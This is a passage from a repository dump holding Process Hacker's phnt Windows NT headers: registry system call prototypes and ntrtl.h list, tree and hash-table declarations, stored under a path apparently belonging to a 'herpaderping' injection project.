KEY_OPEN_SUBKEYS_INFORMATION, *PKEY_OPEN_SUBKEYS_INFORMATION;\n\n// System calls\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateKey(\n _Out_ PHANDLE KeyHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _Reserved_ ULONG TitleIndex,\n _In_opt_ PUNICODE_STRING Class,\n _In_ ULONG CreateOptions,\n _Out_opt_ PULONG Disposition\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateKeyTransacted(\n _Out_ PHANDLE KeyHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _Reserved_ ULONG TitleIndex,\n _In_opt_ PUNICODE_STRING Class,\n _In_ ULONG CreateOptions,\n _In_ HANDLE TransactionHandle,\n _Out_opt_ PULONG Disposition\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenKey(\n _Out_ PHANDLE KeyHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenKeyTransacted(\n _Out_ PHANDLE KeyHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ HANDLE TransactionHandle\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_WIN7)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenKeyEx(\n _Out_ PHANDLE KeyHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ ULONG OpenOptions\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_WIN7)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenKeyTransactedEx(\n _Out_ PHANDLE KeyHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ ULONG OpenOptions,\n _In_ HANDLE TransactionHandle\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtDeleteKey(\n _In_ HANDLE KeyHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRenameKey(\n _In_ HANDLE KeyHandle,\n _In_ PUNICODE_STRING NewName\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtDeleteValueKey(\n _In_ HANDLE KeyHandle,\n _In_ PUNICODE_STRING ValueName\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryKey(\n _In_ HANDLE KeyHandle,\n _In_ KEY_INFORMATION_CLASS KeyInformationClass,\n _Out_writes_bytes_opt_(Length) PVOID KeyInformation,\n _In_ ULONG Length,\n _Out_ PULONG ResultLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetInformationKey(\n _In_ HANDLE KeyHandle,\n _In_ KEY_SET_INFORMATION_CLASS KeySetInformationClass,\n _In_reads_bytes_(KeySetInformationLength) PVOID KeySetInformation,\n _In_ ULONG KeySetInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryValueKey(\n _In_ HANDLE KeyHandle,\n _In_ PUNICODE_STRING ValueName,\n _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,\n _Out_writes_bytes_opt_(Length) PVOID KeyValueInformation,\n _In_ ULONG Length,\n _Out_ PULONG ResultLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetValueKey(\n _In_ HANDLE KeyHandle,\n _In_ PUNICODE_STRING ValueName,\n _In_opt_ ULONG TitleIndex,\n _In_ ULONG Type,\n _In_reads_bytes_opt_(DataSize) PVOID Data,\n _In_ ULONG DataSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryMultipleValueKey(\n _In_ HANDLE KeyHandle,\n _Inout_updates_(EntryCount) PKEY_VALUE_ENTRY ValueEntries,\n _In_ ULONG EntryCount,\n _Out_writes_bytes_(*BufferLength) PVOID ValueBuffer,\n _Inout_ PULONG BufferLength,\n _Out_opt_ PULONG RequiredBufferLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtEnumerateKey(\n _In_ HANDLE KeyHandle,\n _In_ ULONG Index,\n _In_ KEY_INFORMATION_CLASS KeyInformationClass,\n _Out_writes_bytes_opt_(Length) PVOID KeyInformation,\n _In_ ULONG Length,\n _Out_ PULONG ResultLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtEnumerateValueKey(\n _In_ HANDLE KeyHandle,\n _In_ ULONG Index,\n _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,\n _Out_writes_bytes_opt_(Length) PVOID KeyValueInformation,\n _In_ ULONG Length,\n _Out_ PULONG ResultLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtFlushKey(\n _In_ HANDLE KeyHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCompactKeys(\n _In_ ULONG Count,\n _In_reads_(Count) HANDLE KeyArray[]\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCompressKey(\n _In_ HANDLE Key\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtLoadKey(\n _In_ POBJECT_ATTRIBUTES TargetKey,\n _In_ POBJECT_ATTRIBUTES SourceFile\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtLoadKey2(\n _In_ POBJECT_ATTRIBUTES TargetKey,\n _In_ POBJECT_ATTRIBUTES SourceFile,\n _In_ ULONG Flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtLoadKeyEx(\n _In_ POBJECT_ATTRIBUTES TargetKey,\n _In_ POBJECT_ATTRIBUTES SourceFile,\n _In_ ULONG Flags,\n _In_opt_ HANDLE TrustClassKey,\n _In_opt_ HANDLE Event,\n _In_opt_ ACCESS_MASK DesiredAccess,\n _Out_opt_ PHANDLE RootHandle,\n _Out_opt_ PIO_STATUS_BLOCK IoStatus\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtReplaceKey(\n _In_ POBJECT_ATTRIBUTES NewFile,\n _In_ HANDLE TargetHandle,\n _In_ POBJECT_ATTRIBUTES OldFile\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSaveKey(\n _In_ HANDLE KeyHandle,\n _In_ HANDLE FileHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSaveKeyEx(\n _In_ HANDLE KeyHandle,\n _In_ HANDLE FileHandle,\n _In_ ULONG Format\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSaveMergedKeys(\n _In_ HANDLE HighPrecedenceKeyHandle,\n _In_ HANDLE LowPrecedenceKeyHandle,\n _In_ HANDLE FileHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRestoreKey(\n _In_ HANDLE KeyHandle,\n _In_ HANDLE FileHandle,\n _In_ ULONG Flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtUnloadKey(\n _In_ POBJECT_ATTRIBUTES TargetKey\n );\n\n//\n// NtUnloadKey2 Flags (from winnt.h)\n//\n//#define REG_FORCE_UNLOAD 1\n//#define REG_UNLOAD_LEGAL_FLAGS (REG_FORCE_UNLOAD)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtUnloadKey2(\n _In_ POBJECT_ATTRIBUTES TargetKey,\n _In_ ULONG Flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtUnloadKeyEx(\n _In_ POBJECT_ATTRIBUTES TargetKey,\n _In_opt_ HANDLE Event\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtNotifyChangeKey(\n _In_ HANDLE KeyHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ ULONG CompletionFilter,\n _In_ BOOLEAN WatchTree,\n _Out_writes_bytes_opt_(BufferSize) PVOID Buffer,\n _In_ ULONG BufferSize,\n _In_ BOOLEAN Asynchronous\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtNotifyChangeMultipleKeys(\n _In_ HANDLE MasterKeyHandle,\n _In_opt_ ULONG Count,\n _In_reads_opt_(Count) OBJECT_ATTRIBUTES SubordinateObjects[],\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ ULONG CompletionFilter,\n _In_ BOOLEAN WatchTree,\n _Out_writes_bytes_opt_(BufferSize) PVOID Buffer,\n _In_ ULONG BufferSize,\n _In_ BOOLEAN Asynchronous\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryOpenSubKeys(\n _In_ POBJECT_ATTRIBUTES TargetKey,\n _Out_ PULONG HandleCount\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryOpenSubKeysEx(\n _In_ POBJECT_ATTRIBUTES TargetKey,\n _In_ ULONG BufferLength,\n _Out_writes_bytes_opt_(BufferLength) PVOID Buffer,\n _Out_ PULONG RequiredSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtInitializeRegistry(\n _In_ USHORT BootCondition\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtLockRegistryKey(\n _In_ HANDLE KeyHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtLockProductActivationKeys(\n _Inout_opt_ ULONG *pPrivateVer,\n _Out_opt_ ULONG *pSafeMode\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtFreezeRegistry(\n _In_ ULONG TimeOutInSeconds\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtThawRegistry(\n VOID\n );\n#endif\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntrtl.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTRTL_H\n#define _NTRTL_H\n\n#define RtlOffsetToPointer(Base, Offset) ((PCHAR)(((PCHAR)(Base)) + ((ULONG_PTR)(Offset))))\n#define RtlPointerToOffset(Base, Pointer) ((ULONG)(((PCHAR)(Pointer)) - ((PCHAR)(Base))))\n\n// Linked lists\n\nFORCEINLINE VOID InitializeListHead(\n _Out_ PLIST_ENTRY ListHead\n )\n{\n ListHead->Flink = ListHead->Blink = ListHead;\n}\n\n_Check_return_ FORCEINLINE BOOLEAN IsListEmpty(\n _In_ PLIST_ENTRY ListHead\n )\n{\n return ListHead->Flink == ListHead;\n}\n\nFORCEINLINE BOOLEAN RemoveEntryList(\n _In_ PLIST_ENTRY Entry\n )\n{\n PLIST_ENTRY Blink;\n PLIST_ENTRY Flink;\n\n Flink = Entry->Flink;\n Blink = Entry->Blink;\n Blink->Flink = Flink;\n Flink->Blink = Blink;\n\n return Flink == Blink;\n}\n\nFORCEINLINE PLIST_ENTRY RemoveHeadList(\n _Inout_ PLIST_ENTRY ListHead\n )\n{\n PLIST_ENTRY Flink;\n PLIST_ENTRY Entry;\n\n Entry = ListHead->Flink;\n Flink = Entry->Flink;\n ListHead->Flink = Flink;\n Flink->Blink = ListHead;\n\n return Entry;\n}\n\nFORCEINLINE PLIST_ENTRY RemoveTailList(\n _Inout_ PLIST_ENTRY ListHead\n )\n{\n PLIST_ENTRY Blink;\n PLIST_ENTRY Entry;\n\n Entry = ListHead->Blink;\n Blink = Entry->Blink;\n ListHead->Blink = Blink;\n Blink->Flink = ListHead;\n\n return Entry;\n}\n\nFORCEINLINE VOID InsertTailList(\n _Inout_ PLIST_ENTRY ListHead,\n _Inout_ PLIST_ENTRY Entry\n )\n{\n PLIST_ENTRY Blink;\n\n Blink = ListHead->Blink;\n Entry->Flink = ListHead;\n Entry->Blink = Blink;\n Blink->Flink = Entry;\n ListHead->Blink = Entry;\n}\n\nFORCEINLINE VOID InsertHeadList(\n _Inout_ PLIST_ENTRY ListHead,\n _Inout_ PLIST_ENTRY Entry\n )\n{\n PLIST_ENTRY Flink;\n\n Flink = ListHead->Flink;\n Entry->Flink = Flink;\n Entry->Blink = ListHead;\n Flink->Blink = Entry;\n ListHead->Flink = Entry;\n}\n\nFORCEINLINE VOID AppendTailList(\n _Inout_ PLIST_ENTRY ListHead,\n _Inout_ PLIST_ENTRY ListToAppend\n )\n{\n PLIST_ENTRY ListEnd = ListHead->Blink;\n\n ListHead->Blink->Flink = ListToAppend;\n ListHead->Blink = ListToAppend->Blink;\n ListToAppend->Blink->Flink = ListHead;\n ListToAppend->Blink = ListEnd;\n}\n\nFORCEINLINE PSINGLE_LIST_ENTRY PopEntryList(\n _Inout_ PSINGLE_LIST_ENTRY ListHead\n )\n{\n PSINGLE_LIST_ENTRY FirstEntry;\n\n FirstEntry = ListHead->Next;\n\n if (FirstEntry)\n ListHead->Next = FirstEntry->Next;\n\n return FirstEntry;\n}\n\nFORCEINLINE VOID PushEntryList(\n _Inout_ PSINGLE_LIST_ENTRY ListHead,\n _Inout_ PSINGLE_LIST_ENTRY Entry\n )\n{\n Entry->Next = ListHead->Next;\n ListHead->Next = Entry;\n}\n\n// AVL and splay trees\n\ntypedef enum _TABLE_SEARCH_RESULT\n{\n TableEmptyTree,\n TableFoundNode,\n TableInsertAsLeft,\n TableInsertAsRight\n} TABLE_SEARCH_RESULT;\n\ntypedef enum _RTL_GENERIC_COMPARE_RESULTS\n{\n GenericLessThan,\n GenericGreaterThan,\n GenericEqual\n} RTL_GENERIC_COMPARE_RESULTS;\n\ntypedef RTL_GENERIC_COMPARE_RESULTS (NTAPI *PRTL_AVL_COMPARE_ROUTINE)(\n _In_ struct _RTL_AVL_TABLE *Table,\n _In_ PVOID FirstStruct,\n _In_ PVOID SecondStruct\n );\n\ntypedef PVOID (NTAPI *PRTL_AVL_ALLOCATE_ROUTINE)(\n _In_ struct _RTL_AVL_TABLE *Table,\n _In_ CLONG ByteSize\n );\n\ntypedef VOID (NTAPI *PRTL_AVL_FREE_ROUTINE)(\n _In_ struct _RTL_AVL_TABLE *Table,\n _In_ _Post_invalid_ PVOID Buffer\n );\n\ntypedef NTSTATUS (NTAPI *PRTL_AVL_MATCH_FUNCTION)(\n _In_ struct _RTL_AVL_TABLE *Table,\n _In_ PVOID UserData,\n _In_ PVOID MatchData\n );\n\ntypedef struct _RTL_BALANCED_LINKS\n{\n struct _RTL_BALANCED_LINKS *Parent;\n struct _RTL_BALANCED_LINKS *LeftChild;\n struct _RTL_BALANCED_LINKS *RightChild;\n CHAR Balance;\n UCHAR Reserved[3];\n} RTL_BALANCED_LINKS, *PRTL_BALANCED_LINKS;\n\ntypedef struct _RTL_AVL_TABLE\n{\n RTL_BALANCED_LINKS BalancedRoot;\n PVOID OrderedPointer;\n ULONG WhichOrderedElement;\n ULONG NumberGenericTableElements;\n ULONG DepthOfTree;\n PRTL_BALANCED_LINKS RestartKey;\n ULONG DeleteCount;\n PRTL_AVL_COMPARE_ROUTINE CompareRoutine;\n PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine;\n PRTL_AVL_FREE_ROUTINE FreeRoutine;\n PVOID TableContext;\n} RTL_AVL_TABLE, *PRTL_AVL_TABLE;\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitializeGenericTableAvl(\n _Out_ PRTL_AVL_TABLE Table,\n _In_ PRTL_AVL_COMPARE_ROUTINE CompareRoutine,\n _In_ PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine,\n _In_ PRTL_AVL_FREE_ROUTINE FreeRoutine,\n _In_opt_ PVOID TableContext\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlInsertElementGenericTableAvl(\n _In_ PRTL_AVL_TABLE Table,\n _In_reads_bytes_(BufferSize) PVOID Buffer,\n _In_ CLONG BufferSize,\n _Out_opt_ PBOOLEAN NewElement\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlInsertElementGenericTableFullAvl(\n _In_ PRTL_AVL_TABLE Table,\n _In_reads_bytes_(BufferSize) PVOID Buffer,\n _In_ CLONG BufferSize,\n _Out_opt_ PBOOLEAN NewElement,\n _In_ PVOID NodeOrParent,\n _In_ TABLE_SEARCH_RESULT SearchResult\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlDeleteElementGenericTableAvl(\n _In_ PRTL_AVL_TABLE Table,\n _In_ PVOID Buffer\n );\n\n_Check_return_\nNTSYSAPI\nPVOID\nNTAPI\nRtlLookupElementGenericTableAvl(\n _In_ PRTL_AVL_TABLE Table,\n _In_ PVOID Buffer\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlLookupElementGenericTableFullAvl(\n _In_ PRTL_AVL_TABLE Table,\n _In_ PVOID Buffer,\n _Out_ PVOID *NodeOrParent,\n _Out_ TABLE_SEARCH_RESULT *SearchResult\n );\n\n_Check_return_\nNTSYSAPI\nPVOID\nNTAPI\nRtlEnumerateGenericTableAvl(\n _In_ PRTL_AVL_TABLE Table,\n _In_ BOOLEAN Restart\n );\n\n_Check_return_\nNTSYSAPI\nPVOID\nNTAPI\nRtlEnumerateGenericTableWithoutSplayingAvl(\n _In_ PRTL_AVL_TABLE Table,\n _Inout_ PVOID *RestartKey\n );\n\n_Check_return_\nNTSYSAPI\nPVOID\nNTAPI\nRtlLookupFirstMatchingElementGenericTableAvl(\n _In_ PRTL_AVL_TABLE Table,\n _In_ PVOID Buffer,\n _Out_ PVOID *RestartKey\n );\n\n_Check_return_\nNTSYSAPI\nPVOID\nNTAPI\nRtlEnumerateGenericTableLikeADirectory(\n _In_ PRTL_AVL_TABLE Table,\n _In_opt_ PRTL_AVL_MATCH_FUNCTION MatchFunction,\n _In_opt_ PVOID MatchData,\n _In_ ULONG NextFlag,\n _Inout_ PVOID *RestartKey,\n _Inout_ PULONG DeleteCount,\n _In_ PVOID Buffer\n );\n\n_Check_return_\nNTSYSAPI\nPVOID\nNTAPI\nRtlGetElementGenericTableAvl(\n _In_ PRTL_AVL_TABLE Table,\n _In_ ULONG I\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlNumberGenericTableElementsAvl(\n _In_ PRTL_AVL_TABLE Table\n );\n\n_Check_return_\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsGenericTableEmptyAvl(\n _In_ PRTL_AVL_TABLE Table\n );\n\ntypedef struct _RTL_SPLAY_LINKS\n{\n struct _RTL_SPLAY_LINKS *Parent;\n struct _RTL_SPLAY_LINKS *LeftChild;\n struct _RTL_SPLAY_LINKS *RightChild;\n} RTL_SPLAY_LINKS, *PRTL_SPLAY_LINKS;\n\n#define RtlInitializeSplayLinks(Links) \\\n{ \\\n PRTL_SPLAY_LINKS _SplayLinks; \\\n _SplayLinks = (PRTL_SPLAY_LINKS)(Links); \\\n _SplayLinks->Parent = _SplayLinks; \\\n _SplayLinks->LeftChild = NULL; \\\n _SplayLinks->RightChild = NULL; \\\n}\n\n#define RtlParent(Links) ((PRTL_SPLAY_LINKS)(Links)->Parent)\n#define RtlLeftChild(Links) ((PRTL_SPLAY_LINKS)(Links)->LeftChild)\n#define RtlRightChild(Links) ((PRTL_SPLAY_LINKS)(Links)->RightChild)\n#define RtlIsRoot(Links) ((RtlParent(Links) == (PRTL_SPLAY_LINKS)(Links)))\n#define RtlIsLeftChild(Links) ((RtlLeftChild(RtlParent(Links)) == (PRTL_SPLAY_LINKS)(Links)))\n#define RtlIsRightChild(Links) ((RtlRightChild(RtlParent(Links)) == (PRTL_SPLAY_LINKS)(Links)))\n\n#define RtlInsertAsLeftChild(ParentLinks, ChildLinks) \\\n{ \\\n PRTL_SPLAY_LINKS _SplayParent; \\\n PRTL_SPLAY_LINKS _SplayChild; \\\n _SplayParent = (PRTL_SPLAY_LINKS)(ParentLinks); \\\n _SplayChild = (PRTL_SPLAY_LINKS)(ChildLinks); \\\n _SplayParent->LeftChild = _SplayChild; \\\n _SplayChild->Parent = _SplayParent; \\\n}\n\n#define RtlInsertAsRightChild(ParentLinks, ChildLinks) \\\n{ \\\n PRTL_SPLAY_LINKS _SplayParent; \\\n PRTL_SPLAY_LINKS _SplayChild; \\\n _SplayParent = (PRTL_SPLAY_LINKS)(ParentLinks); \\\n _SplayChild = (PRTL_SPLAY_LINKS)(ChildLinks); \\\n _SplayParent->RightChild = _SplayChild; \\\n _SplayChild->Parent = _SplayParent; \\\n}\n\nNTSYSAPI\nPRTL_SPLAY_LINKS\nNTAPI\nRtlSplay(\n _Inout_ PRTL_SPLAY_LINKS Links\n );\n\nNTSYSAPI\nPRTL_SPLAY_LINKS\nNTAPI\nRtlDelete(\n _In_ PRTL_SPLAY_LINKS Links\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlDeleteNoSplay(\n _In_ PRTL_SPLAY_LINKS Links,\n _Inout_ PRTL_SPLAY_LINKS *Root\n );\n\n_Check_return_\nNTSYSAPI\nPRTL_SPLAY_LINKS\nNTAPI\nRtlSubtreeSuccessor(\n _In_ PRTL_SPLAY_LINKS Links\n );\n\n_Check_return_\nNTSYSAPI\nPRTL_SPLAY_LINKS\nNTAPI\nRtlSubtreePredecessor(\n _In_ PRTL_SPLAY_LINKS Links\n );\n\n_Check_return_\nNTSYSAPI\nPRTL_SPLAY_LINKS\nNTAPI\nRtlRealSuccessor(\n _In_ PRTL_SPLAY_LINKS Links\n );\n\n_Check_return_\nNTSYSAPI\nPRTL_SPLAY_LINKS\nNTAPI\nRtlRealPredecessor(\n _In_ PRTL_SPLAY_LINKS Links\n );\n\nstruct _RTL_GENERIC_TABLE;\n\ntypedef RTL_GENERIC_COMPARE_RESULTS (NTAPI *PRTL_GENERIC_COMPARE_ROUTINE)(\n _In_ struct _RTL_GENERIC_TABLE *Table,\n _In_ PVOID FirstStruct,\n _In_ PVOID SecondStruct\n );\n\ntypedef PVOID (NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE)(\n _In_ struct _RTL_GENERIC_TABLE *Table,\n _In_ CLONG ByteSize\n );\n\ntypedef VOID (NTAPI *PRTL_GENERIC_FREE_ROUTINE)(\n _In_ struct _RTL_GENERIC_TABLE *Table,\n _In_ _Post_invalid_ PVOID Buffer\n );\n\ntypedef struct _RTL_GENERIC_TABLE\n{\n PRTL_SPLAY_LINKS TableRoot;\n LIST_ENTRY InsertOrderList;\n PLIST_ENTRY OrderedPointer;\n ULONG WhichOrderedElement;\n ULONG NumberGenericTableElements;\n PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine;\n PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine;\n PRTL_GENERIC_FREE_ROUTINE FreeRoutine;\n PVOID TableContext;\n} RTL_GENERIC_TABLE, *PRTL_GENERIC_TABLE;\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitializeGenericTable(\n _Out_ PRTL_GENERIC_TABLE Table,\n _In_ PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine,\n _In_ PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine,\n _In_ PRTL_GENERIC_FREE_ROUTINE FreeRoutine,\n _In_opt_ PVOID TableContext\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlInsertElementGenericTable(\n _In_ PRTL_GENERIC_TABLE Table,\n _In_reads_bytes_(BufferSize) PVOID Buffer,\n _In_ CLONG BufferSize,\n _Out_opt_ PBOOLEAN NewElement\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlInsertElementGenericTableFull(\n _In_ PRTL_GENERIC_TABLE Table,\n _In_reads_bytes_(BufferSize) PVOID Buffer,\n _In_ CLONG BufferSize,\n _Out_opt_ PBOOLEAN NewElement,\n _In_ PVOID NodeOrParent,\n _In_ TABLE_SEARCH_RESULT SearchResult\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlDeleteElementGenericTable(\n _In_ PRTL_GENERIC_TABLE Table,\n _In_ PVOID Buffer\n );\n\n_Check_return_\nNTSYSAPI\nPVOID\nNTAPI\nRtlLookupElementGenericTable(\n _In_ PRTL_GENERIC_TABLE Table,\n _In_ PVOID Buffer\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlLookupElementGenericTableFull(\n _In_ PRTL_GENERIC_TABLE Table,\n _In_ PVOID Buffer,\n _Out_ PVOID *NodeOrParent,\n _Out_ TABLE_SEARCH_RESULT *SearchResult\n );\n\n_Check_return_\nNTSYSAPI\nPVOID\nNTAPI\nRtlEnumerateGenericTable(\n _In_ PRTL_GENERIC_TABLE Table,\n _In_ BOOLEAN Restart\n );\n\n_Check_return_\nNTSYSAPI\nPVOID\nNTAPI\nRtlEnumerateGenericTableWithoutSplaying(\n _In_ PRTL_GENERIC_TABLE Table,\n _Inout_ PVOID *RestartKey\n );\n\n_Check_return_\nNTSYSAPI\nPVOID\nNTAPI\nRtlGetElementGenericTable(\n _In_ PRTL_GENERIC_TABLE Table,\n _In_ ULONG I\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlNumberGenericTableElements(\n _In_ PRTL_GENERIC_TABLE Table\n );\n\n_Check_return_\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsGenericTableEmpty(\n _In_ PRTL_GENERIC_TABLE Table\n );\n\n// RB trees\n\ntypedef struct _RTL_RB_TREE\n{\n PRTL_BALANCED_NODE Root;\n PRTL_BALANCED_NODE Min;\n} RTL_RB_TREE, *PRTL_RB_TREE;\n\n#if (PHNT_VERSION >= PHNT_WIN8)\n\n// rev\nNTSYSAPI\nVOID\nNTAPI\nRtlRbInsertNodeEx(\n _In_ PRTL_RB_TREE Tree,\n _In_opt_ PRTL_BALANCED_NODE Parent,\n _In_ BOOLEAN Right,\n _Out_ PRTL_BALANCED_NODE Node\n );\n\n// rev\nNTSYSAPI\nVOID\nNTAPI\nRtlRbRemoveNode(\n _In_ PRTL_RB_TREE Tree,\n _In_ PRTL_BALANCED_NODE Node\n );\n\n#endif\n\n// Hash tables\n\n// begin_ntddk\n\n#define RTL_HASH_ALLOCATED_HEADER 0x00000001\n#define RTL_HASH_RESERVED_SIGNATURE 0\n\ntypedef struct _RTL_DYNAMIC_HASH_TABLE_ENTRY\n{\n LIST_ENTRY Linkage;\n ULONG_PTR Signature;\n} RTL_DYNAMIC_HASH_TABLE_ENTRY, *PRTL_DYNAMIC_HASH_TABLE_ENTRY;\n\n#define HASH_ENTRY_KEY(x) ((x)->Signature)\n\ntypedef struct _RTL_DYNAMIC_HASH_TABLE_CONTEXT\n{\n PLIST_ENTRY ChainHead;\n PLIST_ENTRY PrevLinkage;\n ULONG_PTR Signature;\n} RTL_DYNAMIC_HASH_TABLE_CONTEXT, *PRTL_DYNAMIC_HASH_TABLE_CONTEXT;\n\ntypedef struct _RTL_DYNAMIC_HASH_TABLE_ENUMERATOR\n{\n RTL_DYNAMIC_HASH_TABLE_ENTRY HashEntry;\n PLIST_ENTRY ChainHead;\n ULONG BucketIndex;\n} RTL_DYNAMIC_HASH_TABLE_ENUMERATOR, *PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR;\n\ntypedef struct _RTL_DYNAMIC_HASH_TABLE\n{\n // Entries initialized at creation.\n ULONG Flags;\n ULONG Shift;\n\n // Entries used in bucket computation.\n ULONG TableSize;\n ULONG Pivot;\n ULONG DivisorMask;\n\n // Counters.\n ULONG NumEntries;\n ULONG NonEmptyBuckets;\n ULONG NumEnumerators;\n\n // The directory. This field is for internal use only.\n PVOID Directory;\n} RTL_DYNAMIC_HASH_TABLE, *PRTL_DYNAMIC_HASH_TABLE;\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n\nFORCEINLINE\nVOID\nRtlInitHashTableContext(\n _Inout_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context\n )\n{\n Context->ChainHead = NULL;\n Context->PrevLinkage = NULL;\n}\n\nFORCEINLINE\nVOID\nRtlInitHashTableContextFromEnumerator(\n _Inout_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context,\n _In_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator\n )\n{\n Context->ChainHead = Enumerator->ChainHead;\n Context->PrevLinkage = Enumerator->HashEntry.Linkage.Blink;\n}\n\nFORCEINLINE\nVOID\nRtlReleaseHashTableContext(\n _Inout_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context\n )\n{\n UNREFERENCED_PARAMETER(Context);\n return;\n}\n\nFORCEINLINE\nULONG\nRtlTotalBucketsHashTable(\n _In_ PRTL_DYNAMIC_HASH_TABLE HashTable\n )\n{\n return HashTable->TableSize;\n}\n\nFORCEINLINE\nULONG\nRtlNonEmptyBucketsHashTable(\n _In_ PRTL_DYNAMIC_HASH_TABLE HashTable\n )\n{\n return HashTable->NonEmptyBuckets;\n}\n\nFORCEINLINE\nULONG\nRtlEmptyBucketsHashTable(\n _In_ 